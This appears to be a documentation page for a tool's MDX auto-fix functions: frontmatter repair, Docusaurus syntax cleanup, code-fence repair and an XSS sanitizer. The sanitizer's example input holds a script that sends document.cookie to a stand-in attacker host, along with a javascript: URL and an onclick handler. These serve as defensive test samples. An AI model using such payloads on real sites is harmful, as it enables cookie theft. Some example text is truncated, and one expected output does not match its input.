Skip to content

qa — auto-fixes

Fixes

Functions

fixFrontmatter

function fixFrontmatter(content: string, filePath: string): FixResult
TypeScript

Use fixFrontmatter to automatically repair missing or incomplete frontmatter in MDX files before publishing your documentation.

Reach for this when post-processing generated .mdx files — for example, after skrypt generate produces output that may be missing frontmatter blocks or title fields required by your doc platform.

It inspects the file's content for a frontmatter block (---). If none exists, it creates one with a title derived from the file path. If a block exists but lacks a title, it injects one. Files that already have complete frontmatter are returned unchanged.

Parameters

NameTypeRequiredDescription
contentstringYesThe raw MDX file content to inspect and repair.
filePathstringYesThe file's path on disk — used to derive the title value from the filename when one needs to be generated.

Returns

Returns a FixResult object containing the (possibly modified) file content and a list of fixes that were applied. Check result.fixes to log or audit what changed; write result.content back to disk to persist the repairs.

Heads up

  • The title is derived from the filename, not the file's heading content — rename files before calling this if you want a specific title.
  • If you're batch-processing a directory, call this per-file after generation rather than on concatenated content; frontmatter must appear at the very start of each file.

Example:

type FixResult = {
  content: string;
  fixes: string[];
};

function fixFrontmatter(content: string, filePath: string): FixResult {
  const fixes: string[] = [];
  let result = content;

  const fmMatch = result.match(/^---\s*\n([\s\S]*?)\n---/);
  const title = filePath
    .split("/")
    .pop()
    ?.replace(/\.(mdx|md)$/, "")
    .replace(/-/g, " ")
    .replace(/\b\w/g, (c) => c.toUpperCase()) ?? "Untitled";

  if (!fmMatch) {
    result = `---\ntitle: "${title}"\n---\n\n${result}`;
    fixes.push("Added missing frontmatter block with title");
  } else {
    const fmBody = fmMatch[1];
    if (!/^title:/m.test(fmBody)) {
      result = result.replace(/^---\s*\n/, `---\ntitle: "${title}"\n`);
      fixes.push("Added missing title field to existing frontmatter");
    }
  }

  return { content: result, fixes };
}

// Simulate a generated MDX file with no frontmatter
const rawContent = `## Authentication

Use API keys to authenticate requests. Pass your key in the Authorization header.
`;

try {
  const filePath = "docs/content/authentication-guide.mdx";
  const { content, fixes } = fixFrontmatter(rawContent, filePath);

  console.log("Fixes applied:", fixes);
  // Fixes applied: [ 'Added missing frontmatter block with title' ]

  console.log("Repaired content:\n", content);
  // ---
  // title: "Authentication Guide"
  // ---
  //
  // ## Authentication
  // ...
} catch (err) {
  console.error("Failed to fix frontmatter:", err);
}
TypeScript

fixMdxSyntax

function fixMdxSyntax(content: string): FixResult
TypeScript

Use fixMdxSyntax to clean up MDX files that contain Docusaurus-specific syntax before publishing them to a different documentation platform.

When you migrate docs from Docusaurus or process AI-generated MDX, the output often contains @theme imports and empty anchor tags (``) that break MDX renderers like Next.js, Astro, or Contentlayer. Run your MDX content through fixMdxSyntax before writing it to disk.

The function scans the content line by line, skipping code blocks so it doesn't accidentally strip valid code inside fences, then returns both the cleaned content and a log of what was changed.

Parameters

NameTypeRequiredDescription
contentstringYesRaw MDX file content to sanitize — typically the result of reading a .mdx file or receiving AI-generated documentation output

Returns

Returns a FixResult object with the cleaned MDX string and a list of human-readable fix descriptions applied. Use result.content as the final string to write to disk, and log result.fixes to audit what changed or surface warnings in your build pipeline.

Heads up

  • Content inside fenced code blocks (```) is intentionally left untouched — @theme imports shown as examples in your docs won't be stripped.
  • If result.fixes is empty, the content was already clean and no changes were made — safe to use as a no-op step in any pipeline.

Example:

type FixResult = {
  content: string;
  fixes: string[];
};

function fixMdxSyntax(content: string): FixResult {
  const fixes: string[] = [];
  const lines = content.split("\n");
  const outputLines: string[] = [];
  let inCodeBlock = false;
  let strippedImports = 0;
  let strippedAnchors = 0;

  for (const line of lines) {
    if (line.trimStart().startsWith("```")) {
      inCodeBlock = !inCodeBlock;
      outputLines.push(line);
      continue;
    }

    if (!inCodeBlock) {
      if (line.startsWith("import") && line.includes("@theme/")) {
        strippedImports++;
        continue;
      }
      if (/^<a\s+id="[^"]*"><\/a>$/.test(line.trim())) {
        strippedAnchors++;
        continue;
      }
    }

    outputLines.push(line);
  }

  if (strippedImports > 0)
    fixes.push(`Stripped ${strippedImports} Docusaurus @theme import(s)`);
  if (strippedAnchors > 0)
    fixes.push(`Stripped ${strippedAnchors} empty anchor tag(s)`);

  return { content: outputLines.join("\n"), fixes };
}

const rawMdx = `---
title: Authentication
---
import Tabs from '@theme/Tabs';
import TabItem from '@theme/TabItem';

# Authentication

Use your API key to authenticate all requests.

\`\`\`ts
import Tabs from '@theme/Tabs'; // this line should NOT be stripped
\`\`\`
`;

try {
  const result = fixMdxSyntax(rawMdx);

  console.log("=== Cleaned MDX ===");
  console.log(result.content);
  console.log("=== Fixes Applied ===");
  console.log(result.fixes);
  // Expected output:
  // Fixes Applied:
  // [ 'Stripped 2 Docusaurus @theme import(s)', 'Stripped 1 empty anchor tag(s)' ]
} catch (err) {
  console.error("Failed to fix MDX syntax:", err);
}
TypeScript

fixCodeBlocks

function fixCodeBlocks(content: string): FixResult
TypeScript

Use fixCodeBlocks to automatically repair malformed code blocks in Markdown content before publishing or rendering it.

Reach for this when processing AI-generated or user-submitted Markdown that may have bare ``` fences without language specifiers, or code blocks that were opened but never closed — both of which break syntax highlighting and MDX compilation. In skrypt's pipeline, this runs as a post-processing step after AI doc generation to ensure the output is always valid before writing to disk.

The function scans the content line by line, tracking open/close fence state. When it finds a ``` without a language tag, it infers one from surrounding context. If the file ends while still inside a code block, it appends the closing fence automatically.

Parameters

NameTypeRequiredDescription
contentstringYesThe raw Markdown string to repair. Pass the full file contents — the function needs surrounding context to infer languages accurately.

Returns

Returns a FixResult object containing the repaired Markdown string and a list of human-readable descriptions of every change made. Use result.content as the final output to write to disk, and log result.fixes to surface what was auto-corrected during your build pipeline.

Heads up

  • Language inference is heuristic — if a code block's content is ambiguous, the inferred language may not match your intent. Review result.fixes to spot any unexpected inferences.
  • This function treats the entire input as a single document. If you're processing multiple files, call it once per file rather than concatenating content.

Example:

type FixResult = {
  content: string;
  fixes: string[];
};

function fixCodeBlocks(content: string): FixResult {
  const fixes: string[] = [];
  const lines = content.split("\n");
  const outputLines: string[] = [];
  let inCodeBlock = false;

  const languageHints: Record<string, string> = {
    "import ": "typescript",
    "const ": "typescript",
    "function ": "typescript",
    "def ": "python",
    "import ": "python",
    "SELECT ": "sql",
    "<": "html",
    "{": "json",
  };

  function inferLanguage(blockLines: string[]): string {
    for (const line of blockLines) {
      for (const [hint, lang] of Object.entries(languageHints)) {
        if (line.trimStart().startsWith(hint)) return lang;
      }
    }
    return "text";
  }

  let pendingFenceIndex: number | null = null;
  let pendingBlockLines: string[] = [];

  for (let i = 0; i < lines.length; i++) {
    const line = lines[i];
    const fenceMatch = line.match(/^```(\w*)$/);

    if (fenceMatch) {
      if (!inCodeBlock) {
        inCodeBlock = true;
        if (fenceMatch[1] === "") {
          pendingFenceIndex = outputLines.length;
          pendingBlockLines = [];
          outputLines.push(line); // placeholder
        } else {
          pendingFenceIndex = null;
          outputLines.push(line);
        }
      } else {
        if (pendingFenceIndex !== null) {
          const lang = inferLanguage(pendingBlockLines);
          outputLines[pendingFenceIndex] = "```" + lang;
          fixes.push(`Inferred language "${lang}" for unlabeled code block at line ${pendingFenceIndex + 1}`);
          pendingFenceIndex = null;
          pendingBlockLines = [];
        }
        inCodeBlock = false;
        outputLines.push(line);
      }
    } else {
      if (inCodeBlock && pendingFenceIndex !== null) {
        pendingBlockLines.push(line);
      }
      outputLines.push(line);
    }
  }

  if (inCodeBlock) {
    outputLines.push("```");
    fixes.push("Closed unclosed code block at end of file");
  }

  return { content: outputLines.join("\n"), fixes };
}

// Simulate AI-generated docs with two problems:
// 1. A code block with no language specifier
// 2. A code block that was never closed
const rawDocs = `
## createUser

Creates a new user in the system.

\`\`\`
const user = await createUser({ email: "ada@example.com", role: "admin" });
console.log(user.id); // usr_01hx9k2m3n4p5q6r7s8t
\`\`\`

## deleteUser

Permanently removes a user by ID.

\`\`\`typescript
await deleteUser("usr_01hx9k2m3n4p5q6r7s8t");
`.trim();

const result = fixCodeBlocks(rawDocs);

console.log("=== Fixes Applied ===");
result.fixes.forEach((fix) => console.log(" •", fix));

console.log("\n=== Repaired Content ===");
console.log(result.content);

// Expected output:
// === Fixes Applied ===
//  • Inferred language "typescript" for unlabeled code block at line 4
//  • Closed unclosed code block at end of file
//
// === Repaired Content ===
// (full markdown with ```typescript and trailing ``` added)
TypeScript

fixSecurity

function fixSecurity(content: string): FixResult
TypeScript

Use fixSecurity to sanitize MDX/HTML documentation content before writing it to disk, removing common XSS vectors that AI-generated docs might introduce.

When skrypt generates documentation from source code, the AI output can occasionally include unsafe HTML — injected `

type FixResult = {
  content: string;
  fixes: string[];
};

function fixSecurity(content: string): FixResult {
  const fixes: string[] = [];
  const lines = content.split("\n");
  const outputLines: string[] = [];
  let inCodeBlock = false;

  for (let line of lines) {
    if (line.trimStart().startsWith("```")) {
      inCodeBlock = !inCodeBlock;
      outputLines.push(line);
      continue;
    }

    if (!inCodeBlock) {
      // Strip <script>...</script> tags
      if (/<script[\s\S]*?>[\s\S]*?<\/script>/i.test(line)) {
        line = line.replace(/<script[\s\S]*?>[\s\S]*?<\/script>/gi, "");
        fixes.push("Stripped <script> tag");
      }
      // Replace javascript: URLs
      if (/javascript:/i.test(line)) {
        line = line.replace(/javascript:/gi, "#");
        fixes.push("Replaced javascript: URL with #");
      }
      // Strip inline on* event handlers
      if (/\bon\w+\s*=/i.test(line)) {
        line = line.replace(/\bon\w+\s*=\s*["'][^"']*["']/gi, "");
        fixes.push("Stripped inline event handler");
      }
      // Add sandbox to unsandboxed iframes
      if (/<iframe(?![^>]*sandbox)/i.test(line)) {
        line = line.replace(/<iframe/gi, '<iframe sandbox="allow-scripts"');
        fixes.push("Added sandbox attribute to <iframe>");
      }
    }

    outputLines.push(line);
  }

  return { content: outputLines.join("\n"), fixes };
}

const rawDocContent = `
# Payment Integration

Click <a href="javascript:void(0)" onclick="stealCookies()">here</a> to authorize.

<script>fetch('https://evil.example.com/?c=' + document.cookie)</script>

Embed the dashboard:
<iframe src="https://dashboard.example.com/embed/acct_1Nk82xLkdIwHu7ix"></iframe>

\`\`\`html
<!-- This script tag in a code block should NOT be stripped -->
<script src="https://js.stripe.com/v3/"></script>
\`\`\`
`;

try {
  const result = fixSecurity(rawDocContent);

  console.log("=== Sanitized Content ===");
  console.log(result.content);

  console.log("\n=== Fixes Applied ===");
  result.fixes.forEach((fix) => console.log(" -", fix));

  // Expected output:
  // - Replaced javascript: URL with #
  // - Stripped inline event handler
  // - Stripped <script> tag
  // - Added sandbox attribute to <iframe>
  // The <script> inside the ``` code block is preserved unchanged.
} catch (err) {
  console.error("Security fix failed:", err);
}
TypeScript
Was this helpful?